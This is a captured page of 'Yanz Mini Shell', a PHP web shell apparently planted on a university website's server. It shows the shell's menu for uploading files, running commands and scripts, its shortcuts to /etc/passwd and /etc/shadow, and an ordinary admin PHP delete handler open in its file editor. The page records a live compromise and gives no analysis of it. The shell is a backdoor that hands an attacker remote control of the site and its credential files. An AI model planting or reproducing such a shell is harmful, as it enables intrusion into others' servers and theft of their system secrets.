Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
uncpac53
public_html
fsains.uncp.ac.id
pages
partials
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php session_start(); include '../config/config.php'; require_once '../includes/functions.php'; require_once '../includes/auth.php'; require_once 'includes/csrf.php'; requireSuperAdmin(); if (isset($_GET['id'])) { // Proteksi CSRF: cegah penghapusan lewat link/gambar dari situs luar if (!isset($_GET['token']) || !hash_equals($_SESSION['csrf_token'] ?? '', $_GET['token'])) { $_SESSION['flash'] = ['message' => 'Token keamanan tidak valid. Aksi dibatalkan.', 'type' => 'error']; header("Location: quick-services.php"); exit; } $id = (int)$_GET['id']; softDelete($conn, 'quick_services', $id); if (function_exists('logActivity')) { $msg = softDeleteEnabled($conn, 'quick_services') ? 'dipindah ke Sampah' : 'dihapus permanen'; logActivity('delete', 'quick_services', $id, "Quick service $msg"); } } header("Location: quick-services.php?success=deleted"); exit;
Free Space : 56535195648 Byte